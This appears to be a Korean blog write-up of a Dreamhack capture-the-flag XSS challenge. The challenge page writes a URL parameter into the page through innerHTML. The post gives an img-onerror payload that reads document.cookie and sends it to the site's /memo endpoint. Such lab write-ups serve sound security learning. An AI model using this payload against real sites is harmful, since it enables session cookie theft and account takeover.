1.이전문제와의 차이
기존 취약하던 vuln 엔드포인트가 다음과같이 vuln.html을 렌더링하는방법으로 바꿔서 더이상 해당엔드포인트에 <script>를 넣는것이 불가능해졌다.
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
바뀐엔드포인트는 대신 받은 파라미터를 id가 vuln인 요소에 쓰게된다..
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block head %}
{{ super() }}
<style type="text/css">
.important { color: #336699; }
</style>
{% endblock %}
{% block content %}
<div id='vuln'></div>
<script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>
{% endblock %}
2.해결법
<img> 태그의 src와 onerror를 이용하여 공격한다.
<img> 태그의 src 요소가 유효하지않으면 onerror 이벤트 핸들러를 실행하게 되는것을 이용할수있다.
HTML 태그나 속성을 포함한 모든 사용자 입력에 대해 검증을 수행하지않으면 이걸로 쿠키가 뜯길수있다.
<img src="아무거나" onerror="location.href='/memo?memo='+document.cookie">
'Computer Science > Security' 카테고리의 다른 글
[드림핵] Cross Site Request Forgery (CSRF) 1,2 (1) | 2025.01.20 |
---|---|
[드림핵] xss -1 (0) | 2025.01.20 |
[보안] 쿠키,세션 위변조(Tampering) (0) | 2025.01.18 |